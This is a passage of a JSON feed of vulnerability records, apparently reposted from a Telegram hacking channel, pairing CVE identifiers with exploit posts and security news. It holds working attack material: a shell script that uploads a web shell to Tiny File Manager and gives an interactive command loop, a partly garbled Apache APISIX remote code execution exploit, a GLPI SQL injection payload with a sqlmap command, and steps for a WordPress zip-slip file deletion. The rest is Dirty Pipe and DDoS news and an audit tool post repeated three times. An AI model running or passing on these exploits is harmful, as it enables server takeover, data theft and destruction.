]\nthen\nprintf \"[\u2714] Curl found! \\n\"\nelse\nprintf \"[\u274c] Curl not found! \\n\"\nexit\nfi\n\nwhich jq\nif  [ $? = 0 ]\nthen\nprintf \"[\u2714] jq found! \\n\"\nelse\nprintf \"[\u274c] jq not found! \\n\"\nexit\nfi\n}\nusage(){\n\nprintf \"\nTIny File Manager Authenticated RCE Exploit.\n\nBy FEBIN\n\n$0  /tmp/$shell\ncurl $URL?p= -X POST -s -H \"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\" -b $cookie -F \"p=\" -F \"fullpath=../../../../../../../..${webroot}/${shell}\" -F \"file=@/tmp/$shell\" | grep \"successful\"\n}\n\nexploit(){\n\nWEB_URL=$(printf \"$URL\" | tr \"/\" \"\\n\" | head --lines=-1 | tr \"\\n\" \"/\")\n\nupload\nif [ $? = 0 ]\nthen\nprintf \"[+] File Upload Successful! \\n\"\nelse\nprintf \"[-] File Upload Unsuccessful! Exiting! \\n\"\nexit 1\nfi\nprintf \"[+] Checking for the shell \\n\"\ncurl ${WEB_URL}/${shell}?cmd=echo%20found -s | head -1 | grep \"found\" >/dev/null\nif [ $? = 0 ]\nthen\nprintf \"[+] Shell found ${WEB_URL}/$shell \\n\"\nelse \nprintf \"[-] Shell not Found! It might be uploaded somewhere else in the server or got deleted. Exiting! \\n\"\nexit 2\nfi\n\nprintf \"[+] Getting shell access! \\n\\n\"\n\nwhile true\ndo\nprintf \"$> \"\nread cmd\ncurl  ${WEB_URL}/$shell -s -X POST -d \"cmd=${cmd}\"\ndone\n}\n\nif [ $1 ] && [ $2 ] && [ $3 ]\nthen\ncheck\nlog-in $1 $2 $3\n\nfind_webroot\nexploit\nelse\nusage\nfi\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-40964", "author": {"login": "automation"}}, {"uuid": "5a7098bd-4b33-403e-afd2-47f06217cfab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.816055+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/47161", "content": "Exploit Collector\nWordPress iQ Block Country 1.2.13 Arbitrary File Deletion\n\nhttps://2.bp.blogspot.com/-3bqdQy169Lk/WWlvCV-tQiI/AAAAAAAAIKk/BK-Yk_ldGYEd1hCc6yCV2jCLaxiytL8_wCLcBGAs/s1600/h127.png \nWordPress iQ Block Country plugin version 1.2.13 suffers from an arbitrary file deletion vulnerability.\n\nMD5 | a8dca2c6ab2d0d94d8af13103434d59f\n\nDownload\n# Exploit Title: Wordpress Plugin iQ Block Country 1.2.13 - Arbitrary File Deletion via Zip Slip (Authenticated)\n# Date: 02-17-2022\n# Exploit Author: Ceylan Bozo\u011fullar\u0131ndan\n# Blog Post: https://bozogullarindan.com/en/2022/01/wordpress-iq-block-country-1.2.13-admin-arbitray-file-deletion-via-zip-slip/\n# Software Link: https://en-gb.wordpress.org/plugins/iq-block-country/\n# Version: 1.2.12\n# Tested on: Linux\n# CVE: CVE-2022-0246 (https://wpscan.com/vulnerability/892802b1-26e2-4ce1-be6f-71ce29687776)\n# Description:\n\niQ Block Country is a Wordpress plugin that allows you to limit access to your website content. It can allow or disallow visitors from defined countries to (parts of) the content of the website.\n\nThe settings of the plugin can be exported or imported using its backup functionality. An authorized user can import preconfigured settings of the plugin by uploading a zip file. After the uploading process, files in the uploaded zip file are extracted one by one. During the extraction process, existence of a file is checked. If the file exists, it is deleted without any security control by only considering the name of the extracted file. This behavior leads to \u201cZip Slip\u201d vulnerability.\n\nZip Slip can cause damage by overwriting configuration files or other sensitive resources. In this finding, An attacker can exploit this vulnerability and the behavior of the extraction process, to delete an arbitrary file in the server. For doing this, it is enough to upload a zip file containing a file that is named as the path of a file which is desired to be deleted.\n\nThe details of the discovery are given below.\n\n# Steps To Reproduce:\n\n1. Install and activate the iQ Block Country plugin.\n2. Create a test file in the vulnerable system: (e.g. /var/www/html/test.txt)\n3. Create a zip file containing a file named as ../../../../test.txt. Absolute path at the end of this process will be: /var/www/html/wp-content/uploads/2022/01/../../../../test.txt\n4. Go back to the Wordpress, visit Settings > iQ Block Country > Import/Export tab.\n5. Click the \u201cBrowse\u201d button and choose the zip file which is created in the Step 3.\n6. Click the \u201cRestore settings\u201d button.\n7. \u201cInvalid file\u201d message will be appeared but nevermind the message. Check whether the test.txt file is deleted or not.\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0246", "author": {"login": "automation"}}, {"uuid": "c37f8556-7e6f-4b82-aeb9-ef801c6e968b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.770477+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/46519", "content": "he Linux kernel is created by making use of the caching pages. Caching pages are temporary copies of files in a system\u2019s memory that are created to make the handling of frequently used files faster. The vulnerability allows the attacker to make changes to the cached copy of a file that should be \u2018read-only\u2019 for a user without root permissions.\n\n\u201cIn this way, it is possible for an attacker to gain root privileges, which ultimately allows him to take control of an affected system,\u201d Arntz said. QNAP Problems Redux\u201cMike Parkin, senior technical engineer at Vulcan Cyber, told Threatpost on Tuesday that QNAP will hopefully release a kernel update quickly for the vulnerability. This is the second issue that the storage device vendor has reported recently, Parkin pointed out via email.\u201d\n\nIn January, QNAP told users to immediately yank\u00a0their internet-exposed NAS devices off the internet, as ransomware and brute-force attacks widely targeted all network devices. See Also: Offensive Security Tool: Scapy\n\u201cThe Dirty Pipe vulnerability requires local user access to exploit, which does reduce the risk somewhat,\u201d Parkin granted. But the Dirty Pipe issue again points out the need to make sure devices are \u201cproperly configured, maintained, and deployed in a manner that meets business needs while remaining secure,\u201d he said.\n\n\u201cUltimately systems need to be configured so they are only accessible by the people and systems that need access, and then only with the degree of access required to get the job done,\u201d Parkin said.\n\nThat sounds about right to Hank Schless, senior manager of security solutions at Lookout.\n\nNAS devices that provide storage and retrieval of data from a centralized location for authorized users and clients enable productivity, bringing the benefits of cloud computing inside networks, Schless said. The caveat: It also introduces \u201cserious risk\u201d if not done correctly, he added.\n\n\u201cNot only could attackers compromise the data within the particular resources they discover, but they could also move laterally around your network after initial compromise,\u201d Schless told Threatpost on Tuesday. \u201cMuch like the main challenge with VPNs, which allow unbridled access to the infrastructure, NAS assets could act as a springboard for threat actors. It\u2019s important to be able to segment access to particular apps, data, and resources to ensure that one compromised account or resource doesn\u2019t lead to compromise of the entire infrastructure. This is a key reason that organizations use zero trust network access\u00a0(ZTNA) as a piece of their modern security posture.\u201d Are you a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?\n\nIf you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com\nSee Also: Hacking stories: MafiaBoy, the hacker who took down the Internet ImpactPeople have been comparing Dirty Pipe to Dirty Cow. That\u2019s an earlier privilege escalation vulnerability (CVE-2016-5195) that had already been in Linux for nine years \u2013 since 2007 \u2013 when it came under public attacks\u00a0against web-facing Linux servers in 2016.\n\nDirty Pipe is similar to Dirty Cow, except that it\u2019s worse: It\u2019s easier to exploit, Keiderman said.\n\nVulcan Cyber\u2019s Parkin noted that any exploit that gives root level access to a Linux system is \u201cproblematic.\u201d\n\n\u201cAn attacker that gains root gains full control over the target system and may be able to leverage that control to reach other systems,\u201d he said.\n\nThe mitigating factor with this vulnerability is that it requires local access, which slightly lowers the risk, Parkin said. As well, the Dirty Pipe flaw has been fixed in the latest Linux kernel code, and patches should be available soon for the major distributions.\n\nPrivilege escalation is just the first step in attack[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2016-5195", "author": {"login": "automation"}}, {"uuid": "057650ee-6ea8-46cf-843d-cd2b662c3e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.723840+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46566", "content": "Exploit Collector\nApache APISIX 2.12.1 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png \nApache APISIX version 2.12.1 suffers from a remote code execution vulnerability.\n\nMD5 | 4f5cd36d308c98ca2784eef8f7d83a1e\n\nDownload\n# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)\n# Date: 2022-03-16\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://apisix.apache.org/\n# Version: Apache APISIX 1.3 \u2013 2.12.1\n# Tested on: CentOS 7\n# CVE : CVE-2022-24112\nimport requests\nimport sys\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\n                                   .     , \n_.._ * __*\\./ ___  _ \\./._ | _ *-+-\n(_][_)|_) |/'\\     (/,/'\\[_)|(_)| | \n|                     | \n\\n'''\nrun2 = color_random[2]+'''\\t\\t(CVE-2022-24112)\\n''' \nrun3 = color_random[4]+'''{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \n\nif (len(sys.argv) != 4):\nbanner()\nprint(\"[!] Usage   : ./apisix-exploit.py &160\\\\\\\\\\\\\"\\'); return true end\"}',\n},\n],\n}\n\nresponse1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)\n\nresponse2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24112", "author": {"login": "automation"}}, {"uuid": "0328c0b0-0dee-4ffb-87d8-6e095eeca3f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.676886+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46213", "content": "IntroductionContinue reading on Medium \u00bb (https://redhuntlabs.medium.com/making-sense-of-the-dirty-pipe-vulnerability-cve-2022-0847-redhunt-labs-6db5fb668dfe?source=rss------bug_bounty-5)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "b323176d-9c53-4bd3-a6b5-d798afe89e42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.630968+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46278", "content": "Exploit Collector\nBaixar GLPI Project 9.4.6 SQL Injection\n\nhttps://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png \nBaixar GLPI Project 9.4.6 suffers from a remote SQL injection vulnerability.\n\nMD5 | 26ad8734c5ba0d90f45a96375b55ccde\n\nDownload\n# Exploit Title: Baixar GLPI Project 9.4.6 - SQLi\n# Date: 10/12\n# Exploit Author: Joas Antonio\n# Vendor Homepage: https://glpi-project.org/pt-br/ <https:\n# Software Link: https://glpi-project.org/pt-br/baixar/\n# Version: GLPI - 9.4.6\n# Tested on: Windows/Linux\n# CVE : CVE-2021-44617\n\n#POC1:\nplugins/ramo/ramoapirest.php/getOutdated?idu=-1%20OR%203*2*1=6%20AND%20000111=000111\n\nsqlmap -u \"url/plugins/ramo/ramoapirest.php/getOutdated?idu=-1\"\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-44617", "author": {"login": "automation"}}, {"uuid": "1673a755-2398-40b8-8202-c78564584e50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.585361+00:00", "type": "exploited", "source": "https://t.me/hacking_Attack/46351", "content": "hacking: security in practice\nAttackers Create Terabytes of DDoS Attack Data Using a Single Packet\n\nSecurity researchers have disclosed a new type of attack that amplifies the original packet by a ratio of more than 4 billion to one. The attack is distributed and uses a single packet as a starting point.\n\nA DDoS attack from a single packet is made possible by a flaw in about 2,600 Mitel MiVoice Business Express and MiCollab systems that were incorrectly set up to act as PBX-to-internet gateways. CVE-2022-26143: TP240PhoneHome reflection/amplification DDoS attack.\n\nSecurity vulnerabilities are a serious problem for companies. In the first attack, a flaw in the company\u2019s system was taken advantage of by hackers. They exploited the vulnerability and primarily focused on ports 80 and 443. The attack was aimed at ISPs, financial institutions, and logistics businesses.\n\n\u200b\n\nhttps://hackingvision.com/2022/03/13/attackers-create-terabytes-of-ddos-attack-data-using-a-single-packet/\n\nsubmitted by /u/Legitimate-Author545 \n[link] [comments]", "vulnerability": "CVE-2022-26143", "author": {"login": "automation"}}, {"uuid": "8e54ff56-3eb0-4b85-acca-511bbbe0f08c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.535109+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46518", "content": "Black Hat Ethical Hacking\nMost QNAP NAS Devices Affected by \u2018Dirty Pipe\u2019 Linux Flaw\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Most QNAP NAS Devices Affected by \u2018Dirty Pipe\u2019 Linux FlawPost Views: 1 \nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png \nReading Time: 2 Minutes\nThe \u201cDirty Pipe\u201d\u00a0Linux kernel flaw\u00a0\u2013 a high-severity vulnerability in all major distros that grants root access to unprivileged users who have local access \u2013 affects most of QNAP\u2019s network-attached storage (NAS) appliances.\nThe \u201cDirty Pipe\u201d Linux kernel flaw\u00a0\u2013 a high-severity vulnerability in all major distros that grants root access to unprivileged users who have local access \u2013 affects most of QNAP\u2019s network-attached storage (NAS) appliances, the Taiwanese manufacturer warned on Monday.\n\nDirty Pipe, a recently reported local privilege-escalation vulnerability, affects the Linux kernel on QNAP NAS running QTS 5.0.x and QuTS hero h5.0.x, QNAP advised. If exploited, an unprivileged, local user can gain admin privileges and inject malicious code.\n\nThe situation is grim: QNAP said\u00a0that as of yesterday, there was no mitigation.\n\n\u201cCurrently there is no mitigation available for this vulnerability. We recommend users to check back and install security updates as soon as they become available.\u201d \u2013QNAP\nSee Also: Complete Offensive Security and Ethical Hacking Course\nThe following versions of QTS and QuTS hero are affected:\n\n* QTS 5.0.x on all QNAP x86-based NAS and certain QNAP ARM-based NAS\n* QuTS hero h5.0.x on all QNAP x86-based NAS and certain QNAP ARM-based NAS\n\nQNAP NAS running QTS 4.x aren\u2019t affected. The company pointed users to a full list of the affected models: check \u201cKernel Version 5.10.60\u201d in this link, it said in its advisory.\n\n\u201cQNAP is thoroughly investigating the vulnerability. We will release security updates and provide further information as soon as possible,\u201d the advisory said. As Bad as It SoundsSecurity researcher Max Kellermann of CM4all discovered and reported\u00a0the bug eight days ago. Tracked as CVE-2022-0847, the vulnerability has been in the Linux kernel since 5.8. Fortunately, the vulnerability has been\u00a0fixed\u00a0in Linux kernel 5.10.102, 5.15.25, and 5.16.11. If you\u2019re at or above that version, you\u2019re fine.\n\nBut as pointed out by Linux news site Linuxiac, Dirty Pipe doesn\u2019t just threaten Linux machines: Since Android is based on the Linux kernel, any device\u00a0running version\u00a05.8 or later is also vulnerable, endangering a slew of people. Linuxiac pointed to the Google Pixel 6 and Samsung Galaxy S22 as examples: The massively popular phones use Linux kernel 5.10.43, which makes them vulnerable.\n\nDirty Pipe allows for overwriting of data in arbitrary read-only files, which leads to privilege escalation because unprivileged processes can inject code into root processes.\nSee Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH The Common Vulnerabilities and Exposures (CVE) database describes it as a \u201cflaw in the way the \u2018flags\u2019 member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thus contain stale values.\n\n\u201cAn unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system,\u201d according to the CVE description.\n\n\u201cIf you\u2019re not sure what that means but you think it sounds bad \u2013 you are correct!\u201d MalwareBytes malware intelligence researcher Pieter Arntz wrote\u00a0on Friday.\n\nKeiderman offered a full technical analysis in his CM4all post. For his part, Arntz gave this TL;DR version: \u201cThe confusion in t[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "183d364d-956c-4803-9614-86afd88e429a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.491591+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45721", "content": "KitPloit - PenTest Tools!\nMaster_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjsrmhQfDtTdfBPNa6qZgsSf3u30VLPYC3uKiVcyq9ZGHj16L1OT3WrO1HfwDyWXqnHKHPKJbSTz2Whniw57u-WtS5y_mcQsWyfzNYadEoNL2ZgYGTEeORZsjTrJzIDyx8ZUunfcL0CntifHoVg48hyGjYPR8doMybpPRTOwLUqmaUvooKWE3KXcFIO=w640-h480 A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\nTo install requirements: $ sudo python3 -m pip install -r requirements.txt Overview:\n\nvulnerabilities on local libraries  by CoolerVoid    Example:    $ python3 master_librarian.py -t csv   $ python3 master_librarian.py -t txt -l 3    usage: master_librarian.py [-h] -t TYPES [-l LIMIT]    optional arguments:    -h, --help            show this help message and exit    -t TYPES, --type TYPES                          Name of output type for logs(txt or csv)    -l LIMIT, --limit LIMIT                          Limit CVEs per pages in nvd NIST search(default is 3)  \">$ python3 master_librarian.py -h\nMaster librarian v0.3 \nTool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\n\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\n\noptional arguments:\n-h, --help            show this help message and exit\n-t TYPES, --type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, --limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3) \n\nExample: $ python3 master_librarian.py -t txt output\n\nvulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.    https://nvd.nist.gov/vuln/detail/CVE-2020-13529    2.9 LOW      systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.    https://nvd.nist.gov/vuln/detail/CVE-2020-13776    6.2 MEDIUM      A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.    https://nvd.nist.gov/vuln/detail/CVE-2020-1712    4.6 MEDIUM    expat 2.2.9  pangocairo 1.44.7  xdmcp 1.1.3  libpcreposix 8.39  ruby-2.7 2.7.0  glib-2.0 2.64.6  gnome-system-tools 3.0.0  xinerama 1.1.4  nunit 2.6.3  gmp 6.2.0  libevent 2.1.11-stable  xbuild12 12.0  xorg-sgml-doctools 1.11  presentproto 1.2  gdk-pixbuf-2.0 2.40.0  inputproto 2.3.2  libssl 1.1.1f  xcb-shm 1.14  gdk-2.0 2.24.32  libpng16 1.6.37  bigreqsproto 1.1.2  icu-io 66.1  xextproto 7.3.0  libthai 0.1.28  libbsd-overlay 0.10.0  mount 2.34.0  gio-2.0 2.64.6  adwaita-icon-theme 3.36.1  fontconfig 2.13.1  xrandr 1.5.2  monosgen-2 6.8.0.105  mono 6.8.0.105  xf86dgaproto 2.1  dri3proto 1.2  libpcre 8.39  pangoxft 1.44.7  blkid 2.34.0  libsepol 3.0  libevent_openssl 2.1.11-stable  uuid 2.34.0  gmodule-2.0 2.64.6  graphite2 3.0.1  libfl 2.6.4  zlib 1.2.11  cairo-pdf 1.16.0  ruby 2.7.0    Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource co[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13529", "author": {"login": "automation"}}, {"uuid": "c181ae00-dd71-4efd-a07a-31b77a590d49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.445214+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45721", "content": "KitPloit - PenTest Tools!\nMaster_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjsrmhQfDtTdfBPNa6qZgsSf3u30VLPYC3uKiVcyq9ZGHj16L1OT3WrO1HfwDyWXqnHKHPKJbSTz2Whniw57u-WtS5y_mcQsWyfzNYadEoNL2ZgYGTEeORZsjTrJzIDyx8ZUunfcL0CntifHoVg48hyGjYPR8doMybpPRTOwLUqmaUvooKWE3KXcFIO=w640-h480 A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\nTo install requirements: $ sudo python3 -m pip install -r requirements.txt Overview:\n\nvulnerabilities on local libraries  by CoolerVoid    Example:    $ python3 master_librarian.py -t csv   $ python3 master_librarian.py -t txt -l 3    usage: master_librarian.py [-h] -t TYPES [-l LIMIT]    optional arguments:    -h, --help            show this help message and exit    -t TYPES, --type TYPES                          Name of output type for logs(txt or csv)    -l LIMIT, --limit LIMIT                          Limit CVEs per pages in nvd NIST search(default is 3)  \">$ python3 master_librarian.py -h\nMaster librarian v0.3 \nTool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\n\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\n\noptional arguments:\n-h, --help            show this help message and exit\n-t TYPES, --type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, --limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3) \n\nExample: $ python3 master_librarian.py -t txt output\n\nvulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.    https://nvd.nist.gov/vuln/detail/CVE-2020-13529    2.9 LOW      systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.    https://nvd.nist.gov/vuln/detail/CVE-2020-13776    6.2 MEDIUM      A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.    https://nvd.nist.gov/vuln/detail/CVE-2020-1712    4.6 MEDIUM    expat 2.2.9  pangocairo 1.44.7  xdmcp 1.1.3  libpcreposix 8.39  ruby-2.7 2.7.0  glib-2.0 2.64.6  gnome-system-tools 3.0.0  xinerama 1.1.4  nunit 2.6.3  gmp 6.2.0  libevent 2.1.11-stable  xbuild12 12.0  xorg-sgml-doctools 1.11  presentproto 1.2  gdk-pixbuf-2.0 2.40.0  inputproto 2.3.2  libssl 1.1.1f  xcb-shm 1.14  gdk-2.0 2.24.32  libpng16 1.6.37  bigreqsproto 1.1.2  icu-io 66.1  xextproto 7.3.0  libthai 0.1.28  libbsd-overlay 0.10.0  mount 2.34.0  gio-2.0 2.64.6  adwaita-icon-theme 3.36.1  fontconfig 2.13.1  xrandr 1.5.2  monosgen-2 6.8.0.105  mono 6.8.0.105  xf86dgaproto 2.1  dri3proto 1.2  libpcre 8.39  pangoxft 1.44.7  blkid 2.34.0  libsepol 3.0  libevent_openssl 2.1.11-stable  uuid 2.34.0  gmodule-2.0 2.64.6  graphite2 3.0.1  libfl 2.6.4  zlib 1.2.11  cairo-pdf 1.16.0  ruby 2.7.0    Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource co[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2020-13776", "author": {"login": "automation"}}, {"uuid": "bb686fbb-2180-4363-b35c-ab5393a34a38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.401021+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/45721", "content": "KitPloit - PenTest Tools!\nMaster_Librarian - A Simple Tool To Audit Unix/*BSD/Linux System Libraries To Find Public Security Vulnerabilities\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjsrmhQfDtTdfBPNa6qZgsSf3u30VLPYC3uKiVcyq9ZGHj16L1OT3WrO1HfwDyWXqnHKHPKJbSTz2Whniw57u-WtS5y_mcQsWyfzNYadEoNL2ZgYGTEeORZsjTrJzIDyx8ZUunfcL0CntifHoVg48hyGjYPR8doMybpPRTOwLUqmaUvooKWE3KXcFIO=w640-h480 A simple tool to audit Unix/*BSD/Linux system libraries to find public security vulnerabilities.\nTo install requirements: $ sudo python3 -m pip install -r requirements.txt Overview:\n\nvulnerabilities on local libraries  by CoolerVoid    Example:    $ python3 master_librarian.py -t csv   $ python3 master_librarian.py -t txt -l 3    usage: master_librarian.py [-h] -t TYPES [-l LIMIT]    optional arguments:    -h, --help            show this help message and exit    -t TYPES, --type TYPES                          Name of output type for logs(txt or csv)    -l LIMIT, --limit LIMIT                          Limit CVEs per pages in nvd NIST search(default is 3)  \">$ python3 master_librarian.py -h\nMaster librarian v0.3 \nTool to search public vulnerabilities on local libraries\nby CoolerVoid\n\nExample: \n$ python3 master_librarian.py -t csv\n$ python3 master_librarian.py -t txt -l 3\n\nusage: master_librarian.py [-h] -t TYPES [-l LIMIT]\n\noptional arguments:\n-h, --help            show this help message and exit\n-t TYPES, --type TYPES\nName of output type for logs(txt or csv)\n-l LIMIT, --limit LIMIT\nLimit CVEs per pages in nvd NIST search(default is 3) \n\nExample: $ python3 master_librarian.py -t txt output\n\nvulnerability exists in Systemd 245. A specially crafted DHCP FORCERENEW packet can cause a server running the DHCP client to be vulnerable to a DHCP ACK spoofing attack. An attacker can forge a pair of FORCERENEW and DCHP ACK packets to reconfigure the server.    https://nvd.nist.gov/vuln/detail/CVE-2020-13529    2.9 LOW      systemd through v245 mishandles numerical usernames such as ones composed of decimal digits or 0x followed by hex digits, as demonstrated by use of root privileges when privileges of the 0x0 user account were intended. NOTE: this issue exists because of an incomplete fix for CVE-2017-1000082.    https://nvd.nist.gov/vuln/detail/CVE-2020-13776    6.2 MEDIUM      A heap use-after-free vulnerability was found in systemd before version v245-rc1, where asynchronous Polkit queries are performed while handling dbus messages. A local unprivileged attacker can abuse this flaw to crash systemd services or potentially execute code and elevate their privileges, by sending specially crafted dbus messages.    https://nvd.nist.gov/vuln/detail/CVE-2020-1712    4.6 MEDIUM    expat 2.2.9  pangocairo 1.44.7  xdmcp 1.1.3  libpcreposix 8.39  ruby-2.7 2.7.0  glib-2.0 2.64.6  gnome-system-tools 3.0.0  xinerama 1.1.4  nunit 2.6.3  gmp 6.2.0  libevent 2.1.11-stable  xbuild12 12.0  xorg-sgml-doctools 1.11  presentproto 1.2  gdk-pixbuf-2.0 2.40.0  inputproto 2.3.2  libssl 1.1.1f  xcb-shm 1.14  gdk-2.0 2.24.32  libpng16 1.6.37  bigreqsproto 1.1.2  icu-io 66.1  xextproto 7.3.0  libthai 0.1.28  libbsd-overlay 0.10.0  mount 2.34.0  gio-2.0 2.64.6  adwaita-icon-theme 3.36.1  fontconfig 2.13.1  xrandr 1.5.2  monosgen-2 6.8.0.105  mono 6.8.0.105  xf86dgaproto 2.1  dri3proto 1.2  libpcre 8.39  pangoxft 1.44.7  blkid 2.34.0  libsepol 3.0  libevent_openssl 2.1.11-stable  uuid 2.34.0  gmodule-2.0 2.64.6  graphite2 3.0.1  libfl 2.6.4  zlib 1.2.11  cairo-pdf 1.16.0  ruby 2.7.0    Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. An uncontrolled resource consumption vulnerability exists after version 2.3.0 through version 2.7.0. Within the URI template implementation in Addressable, a maliciously crafted template may result in uncontrolled resource co[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2017-1000082", "author": {"login": "automation"}}, {"uuid": "29a695ae-7d24-49c1-97e5-aaa3c3bd81cd", "vulnerability_lookup_origin": 